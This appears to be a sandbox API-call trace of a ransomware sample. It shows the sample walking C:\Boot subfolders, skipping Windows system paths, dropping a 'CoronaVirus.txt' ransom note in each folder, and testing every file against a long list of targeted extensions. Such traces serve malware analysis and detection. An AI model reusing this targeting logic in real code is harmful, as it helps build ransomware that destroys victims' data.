	[0082.992] wcsncmp (_String1="de", _String2="..", _MaxCount=0x2) returned 54
	[0082.992] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\de-DE") returned 13
	[0082.993] wcsncmp (_String1="C:\\Boot\\d", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0082.993] wcsstr (_Str="C:\\Boot\\de-DE", _SubStr="Microsoft\\Windows") returned 0x0
	[0082.993] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\de-DE\\CoronaVirus.txt" (normalized: "c:\\boot\\de-de\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.080] _alloca_probe () returned 0x4036d0
	[0083.080] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\de-DE", lpFilePart=0x316583c*="de-DE") returned 0xd
	[0083.080] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeae08db2, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600790
	[0083.080] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.080] FindNextFileW (in: hFindFile=0x600790, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeae08db2, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.080] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.080] FindNextFileW (in: hFindFile=0x600790, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.081] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.081] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.081] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.081] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.081] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.081] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.081] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.081] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.081] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.081] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.081] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.081] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.081] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.081] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.081] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.081] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.081] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.081] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.081] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.081] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.081] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.081] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.081] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.081] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.081] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.081] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.081] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.081] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.081] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.081] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.081] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.081] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.081] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.081] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.081] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.081] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.082] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.082] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.082] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.082] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.082] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.082] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.082] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.082] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.082] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.082] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.082] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.082] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.082] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.082] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.082] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.082] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.082] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.082] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.082] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.082] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.082] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.082] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.082] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.082] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.082] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.082] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.082] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.082] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.082] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.082] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.082] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.082] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.082] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.082] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.082] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.082] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.083] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.083] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.083] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.083] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.083] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.083] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.083] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.083] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.083] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.083] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.083] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.083] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.083] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.083] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.083] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.083] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.083] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.083] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.083] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.083] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.083] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.083] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.083] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.083] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.083] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.083] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.083] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.083] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.083] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.083] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.083] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.083] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.083] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.083] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.083] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.083] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.083] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.084] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.084] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.084] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.084] FindNextFileW (in: hFindFile=0x600790, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae08db2, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeae08db2, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.084] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.084] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.084] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.084] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0083.084] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.084] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0083.084] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.084] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0083.084] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.084] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0083.084] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.084] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0083.084] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.084] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0083.084] malloc (_Size=0x1000) returned 0x2f2f580
	[0083.084] _swprintf (in: param_1=0x2f2f580, param_2="%s\\%s" | out: param_1="C:\\Boot\\de-DE\\CoronaVirus.txt") returned 29
	[0083.084] wcsstr (_Str="C:\\Boot\\de-DE\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.084] FindNextFileW (in: hFindFile=0x600790, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.084] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.084] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.084] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.084] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.084] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.084] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.084] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.084] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.084] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.084] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.084] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.084] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.085] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.085] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.085] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.085] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.085] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.085] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.085] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.085] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.085] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.085] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.085] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.085] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.085] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.085] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.085] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.085] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.085] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.085] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.085] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.085] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.085] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.085] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.085] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.085] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.085] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.085] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.085] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.085] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.085] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.085] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.085] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.085] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.085] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.085] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.085] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.085] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.085] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.086] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.086] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.086] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.086] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.086] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.086] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.086] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.086] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.086] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.086] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.086] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.086] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.086] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.086] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.086] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.086] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.086] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.086] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.086] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.093] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.093] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.093] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.093] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.093] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.093] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.093] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.093] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.093] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.093] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.093] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.093] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.093] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.093] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.093] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.093] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.093] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.093] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.093] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.093] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.093] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.093] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.093] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.093] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.093] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.093] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.093] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.093] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.093] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.093] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.093] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.094] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.094] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.094] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.094] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.094] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.094] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.094] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.094] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.094] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.094] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.094] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.094] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.094] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.094] FindNextFileW (in: hFindFile=0x600790, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.094] FindClose (in: hFindFile=0x600790 | out: hFindFile=0x600790) returned 1
	[0083.094] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0083.094] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0083.094] wcsncmp (_String1="el", _String2="..", _MaxCount=0x2) returned 55
	[0083.094] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\el-GR") returned 13
	[0083.094] wcsncmp (_String1="C:\\Boot\\e", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.094] wcsstr (_Str="C:\\Boot\\el-GR", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.094] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\el-GR\\CoronaVirus.txt" (normalized: "c:\\boot\\el-gr\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.101] _alloca_probe () returned 0x4036d0
	[0083.101] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\el-GR", lpFilePart=0x316583c*="el-GR") returned 0xd
	[0083.101] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xeae2ef5e, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600ad0
	[0083.101] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.101] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xeae2ef5e, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.101] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.101] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.101] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.101] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.101] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.101] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.101] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.102] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.102] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.102] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.102] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.102] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.102] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.102] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.102] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
